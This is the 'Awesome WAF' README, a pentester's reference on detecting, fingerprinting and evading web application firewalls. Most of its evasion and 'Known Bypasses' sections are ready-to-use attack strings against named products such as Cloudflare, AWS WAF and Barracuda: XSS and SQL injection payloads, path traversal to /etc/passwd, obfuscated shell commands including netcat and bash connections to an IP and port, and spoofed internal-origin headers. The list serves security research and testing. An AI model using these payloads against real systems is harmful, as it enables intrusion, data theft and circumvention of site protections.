Awesome WAF

Everything about web application firewalls (WAFs) from a security perspective. 🔥

Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."

A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)

A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.

Feel free to contribute.

Contents:

• Introduction
  • How WAFs Work
  • Operation Modes
• Testing Methodology
  • Where To Look
  • Detection Techniques
• WAF Fingerprints
• Evasion Techniques
  • Fuzzing/Bruteforcing
  • Regex Reversing
  • Obfuscation/Encoding
  • Browser Bugs
  • HTTP Header Spoofing
  • Google Dorks Approach
• Known Bypasses
• Awesome Tooling
  • Fingerprinting
  • Testing
  • Evasion
• Blogs & Writeups
• Video Presentations
• Research Presentations & Papers
  • Research Papers
  • Presentation Slides
• Licensing & Credits

Introduction:

How WAFs Work:

• Using a set of rules to distinguish between normal requests and malicious requests.
• Sometimes they use a learning mode to add rules automatically through learning about user behaviour.

Operation Modes:

• Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all <script>*</script> inputs prevent basic cross-site scripting attacks.
• Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
• Mixed/Hybrid Model (Inclusive model) - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists).

Testing Methodology:

Where To Look:

• Always look out for common ports that expose that a WAF, namely 80, 443, 8000, 8080 and 8888 ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.
• Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF).
• Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF).
• Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP).
• Some expose themselves in the Server header (e.g. Approach, WTS WAF).
• Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock).
• Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF).

Detection Techniques:

To identify WAFs, we need to (dummy) provoke it.

1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
4. On login pages, inject common (easily detectable) payloads like " or 1 = 1 --.
5. Inject noisy payloads like <script>alert()</script> into search bars, contact forms and other input fields.
6. Attach a dummy ../../../etc/passwd to a random parameter at end of URL.
7. Append some catchy keywords like ' OR SLEEP(5) OR ' at end of URLs to any random parameter.
8. Make GET requests with outdated protocols like HTTP/0.9 (HTTP/0.9 does not support POST type queries).
9. Many a times, the WAF varies the Server header upon different types of interactions.
10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.

    Tip: This method could be easily achieved with tools like HPing3 or Scapy.

11. Side Channel Attacks - Examine the timing behaviour of the request and response content.

    Tip: More details can be found in a blogpost here.

WAF Fingerprints

Wanna fingerprint WAFs? Lets see how.

NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.

Evasion Techniques

Lets look at some methods of bypassing and evading WAFs.

Fuzzing/Bruteforcing:

Method:

Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:

• Wordlists specifically for fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads

Technique:

• Load up your wordlist into fuzzer and start the bruteforce.
• Record/log all responses from the different payloads fuzzed.
• Use random user-agents, ranging from Chrome Desktop to iPhone browser.
• If blocking noticed, increase fuzz latency (eg. 2-4 secs).
• Always use proxychains, since chances are real that your IP gets blocked.

Drawbacks:

• This method often fails.
• Many a times your IP will be blocked (temporarily/permanently).

Regex Reversing:

Method:

• Most efficient method of bypassing WAFs.
• Some WAFs rely upon matching the attack payloads with the signatures in their databases.
• Payload matches the reg-ex the WAF triggers alarm.

Techniques:

Blacklisting Detection/Bypass

• In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
• The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.

Case: SQL Injection

• Step 1:

Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)

• Blocked Attempt: union select user, password from users
• Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'

• Step 2:

Keywords Filtered: and, or, union, where

• Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
• Bypassed Injection: 1 || (select user from users limit 1) = 'admin'

• Step 3:

Keywords Filtered: and, or, union, where, limit

• Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
• Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Step 4:

Keywords Filtered: and, or, union, where, limit, group by

• Blocked Attempt: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Bypassed Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Step 5:

Keywords Filtered: and, or, union, where, limit, group by, select

• Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Bypassed Injection: 1 || 1 = 1 into outfile 'result.txt'
• Bypassed Injection: 1 || substr(user,1,1) = 'a'

• Step 6:

Keywords Filtered: and, or, union, where, limit, group by, select, '

• Blocked Attempt: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Bypassed Injection: 1 || user_id is not null
• Bypassed Injection: 1 || substr(user,1,1) = 0x61
• Bypassed Injection: 1 || substr(user,1,1) = unhex(61)

• Step 7:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex

• Blocked Attempt: 1 || substr(user,1,1) = unhex(61)
• Bypassed Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Step 8:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr

• Blocked Attempt: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Bypassed Injection: 1 || lpad(user,7,1)

• Step 9:

Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space

• Blocked Attempt: 1 || lpad(user,7,1)
• Bypassed Injection: 1%0b||%0blpad(user,7,1)

Obfuscation:

Method:

• Encoding payload to different encodings (a hit and trial approach).
• You can encode whole payload, or some parts of it and test recursively.

Techniques:

1. Case Toggling

• Some poorly developed WAFs filter selectively specific case WAFs.
• We can combine upper and lower case characters for developing efficient payloads.

Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

• Encode normal payloads with % encoding/URL encoding.
• Can be done with online tools like this.
• Burp includes a in-built encoder/decoder.

Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

• ASCII characters in unicode encoding encoding provide great variants for bypassing.
• You can encode entire/part of the payload for obtaining results.

Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>

Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)

Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative)

TIP: Have a look at this and this reports on HackerOne. :)

Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

• Often web apps encode special characters into HTML encoding and render them accordingly.
• This leads us to basic bypass cases with HTML encoding (numeric/generic).

Standard: ">
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)

5. Mixed Encoding

• Sometimes, WAF rules often tend to filter out a specific type of encoding.
• This type of filters can be bypassed by mixed encoding payloads.
• Tabs and newlines further add to obfuscation.

Obfuscated:

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

6. Using Comments

• Comments obfuscate standard payload vectors.
• Different payloads have different ways of obfuscation.

Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>

Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--

7. Double Encoding

• Often WAF filters tend to encode characters to prevent attacks.
• However poorly developed filters (no recursion filters) can be bypassed with double encoding.

Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E

8. Wildcard Obfuscation

• Globbing patterns are used by various command-line utilities to work with multiple files.
• We can tweak them to execute system commands.
• Specific to remote code execution vulnerabilities on linux systems.

Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s

Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]

9. Dynamic Payload Generation

• Different programming languages have different syntaxes and patterns for concatenation.
• This allows us to effectively generate payloads that can bypass many filters and rules.

Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>

Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd

Bash allows path concatenation for execution.

Standard: ``
Obfuscated:

13. Token Breakers

• Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.

• Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.

• However, the request must still remain valid while using token-breakers.

• Case: Unknown Token for the Tokenizer

  • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• Case: Unknown Context for the Parser (Notice the uncontexted bracket)

  • Payload 1: ?id=123);DROP TABLE users --
  • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIP: More payloads can be crafted via this cheat sheet.

14. Obfuscation in Other Formats

• Many web applications support different encoding types and can interpret the encoding (see below).
• Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.

Case: IIS

• IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
• We can encode our payload and send the encoded parameters with the query.

Original Request:

POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--

Obfuscated Request + URL Encoding:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):

TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.

HTTP Parameter Pollution

Method:

• This attack method is based on how a server interprets parameters with the same names.
• Possible bypass chances here are:
  • The server uses the last received parameter, and WAF checks only the first.
  • The server unites the value from similar parameters, and WAF checks them separately.

Technique:

• The idea is to enumerate how the parameters are being interpreted by the server.
• In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
• Distributing a payload across parameters which can later get concatenated by the server is also useful.

Below is a comparison of different servers and their relative interpretations:

HTTP Parameter Fragmentation

• HPF is based on the principle where the server unites the value being passed along the parameters.
• We can split the payload into different components and then pass the values via the parameters.

Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIP: A real life example how bypasses can be crafted using this method can be found here.

Browser Bugs:

Charset Bugs:

• We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
• When the site decodes the string, the payload gets triggered.

Example request:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

When the site loads, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.

Final URL encoded payload:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 

Null Bytes:

• The null bytes are commonly used as string terminator.
• This can help us evade many web application filters in case they are not filtering out the null bytes.

Payload examples:

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>

Parsing Bugs:

• RFC states that NodeNames cannot begin with whitespace.
• But we can use special chars like %, //, !, ?, etc.

Examples:

• <// style=x:expression\28write(1)\29> - Works upto IE7 (Source)
• <!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)
• <%div%20style=xss:expression(prompt(1))> - Works Upto IE7

Unicode Separators:

• Every browser has their own specific charset of separators.
• We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser.
• We can use these separators in places where a space is required.

Here is a compiled list of separators by @Masato Kinugawa:

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C,

An exotic payload example:

<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Using Atypical Equivalent Syntactic Structures

• This method aims at finding a way of exploitation not considered by the WAF developers.
• Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
• This payload is accepted and executed by the server after going through the firewall.

Some common keywords overlooked by WAF developers:

• JavaScript functions:
  • window
  • parent
  • this
  • self
• Tag attributes:
  • onwheel
  • ontoggle
  • onfilterchange
  • onbeforescriptexecute
  • ondragstart
  • onauxclick
  • onpointerover
  • srcdoc
• SQL Operators
  • lpad
  • field

Example Payloads:

• Case: XSS

<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>

• Case: SQLi

SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)

Many alternatives to the original JavaScript can be used, namely:

• JSFuck
• JJEncode
• XChars.JS

However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)

Abusing SSL/TLS Ciphers:

• Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
• Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.

Technique:

• Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
• Find out the ciphers supported by the server (tools like SSLScan helps here).
• If a specific cipher not supported by WAF but by the server, is found, voila!
• Initiating a new connection to the server with that specific cipher should smuggle our payload in.

Tool: abuse-ssl-bypass-waf

python abuse-ssl-bypass-waf.py -thread 4 -target <target>

CLI tools like cURL can come very handy for PoCs:

curl --ciphers <cipher> -G <test site> -d <payload with parameter>

Abuse WAF limit on HTTP Responses

Method

• Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
• By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.

Technique

• Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
• Once done, attach your payload to the request after filling the limit with garbage.

A similar technique was used to bypass Google Cloud Platform WAF.

Abusing DNS History:

• Often old historical DNS records provide information about the location of the site behind the WAF.
• The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.

TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.

Tool: bypass-firewalls-by-DNS-history

bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall

Using Whitelist Strings:

Method:

• Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
• This shared secret, if leaked/known, can be used to bypass all protections within the WAF.

Technique:

• Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
• Usually some *-sync-request keywords or a shared token value is used as the secret.
• Often adding specific headers may trigger a similar whitelist behaviour.

Now when making a request to the server, you can append it as a parameter:

http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True

A real life example how this works can be found at this blog.

Request Header Spoofing:

Method:

• The target is to fool the WAF/server into believing it was from their internal network.
• Adding some spoofed headers to represent the internal network, does the trick.

Technique:

• With each request some set of headers are to be added simultaneously thus spoofing the origin.
• The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.

Some common headers used:

X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1

Google Dorks Approach:

Method:

• There are a lot of known bypasses of various web application firewalls (see section).
• With the help of google dorks, we can easily find bypasses.

Techniques:

Before anything else, you should hone up skills from Google Dorks Cheat Sheet.

• Normal search:
  +<wafname> waf bypass

• Searching for specific version exploits:
  "<wafname> <version>" (bypass|exploit)

• For specific type bypass exploits:
  "<wafname>" +<bypass type> (bypass|exploit)

• On Exploit DB:
  site:exploit-db.com +<wafname> bypass

• On 0Day Inject0r DB:
  site:0day.today +<wafname> <type> (bypass|exploit)

• On Twitter:
  site:twitter.com +<wafname> bypass

• On Pastebin
  site:pastebin.com +<wafname> bypass

Known Bypasses:

Airlock Ergon

• SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult

%C0%80'+union+select+col1,col2,col3+from+table+--+

AWS WAF

• SQLi Bypass by @enkaskal

"; select * from TARGET_TABLE --

• XSS Bypass by @kmkz

<script>eval(atob(decodeURIComponent("payload")))//

• XSS Bypass by [Daniele Linguaglossa]

<strong><button popovertarget=x>click me</button><test onbeforetoggle=alert(document.domain) popover id=x>aaa</aaa></strong>

Barracuda

• Cross Site Scripting by @WAFNinja

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

• HTML Injection by @Global-Evolution

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

• XSS Bypass by @0xInfection

<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere

• Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort
• Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort

Cerber (WordPress)

• Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son

POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

author=1

• Protected Admin Scripts Bypass by @ed0x21son

http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar

• REST API Disable Bypass by @ed0x21son

http://host/index.php/wp-json/wp/v2/users/

Citrix NetScaler

• SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
        <string>’ union select current_user, 2#</string>
    </soapenv:Body>
</soapenv:Envelope>

• generic_api_call.pl XSS by @NNPoster

http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e

Cloudflare

• XSS Bypass by @@SalahHasoneh1

<svg onx=() onload=(confirm)(1)>

• XSS Bypass by @c0d3g33k

<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>

• XSS Bypasses by @Bohdan Korzhynskyi

<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'">;prompt`${document.domain}`%26lt;/script>'>
1'">

• XSS Bypass by @RakeshMane10

<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f

• XSS Bypass by @ArbazKiraak

<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this['document']['cookie']&rpar;">X</a>`

• XSS Bypass by @Ahmet Ümit

<--` --!>

• XSS Bypass by @Shiva Krishna

javascript:{alert`0`}

• XSS Bypass by @Brute Logic

<base href=//knoxss.me?

• XSS Bypass by @RenwaX23 (Chrome only)

<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x 

• RCE Payload Detection Bypass by @theMiddle

cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#

Cloudbric

• XSS Bypass by @0xInfection

<a69/onclick=[1].findIndex(alert)>pew

Comodo

Read more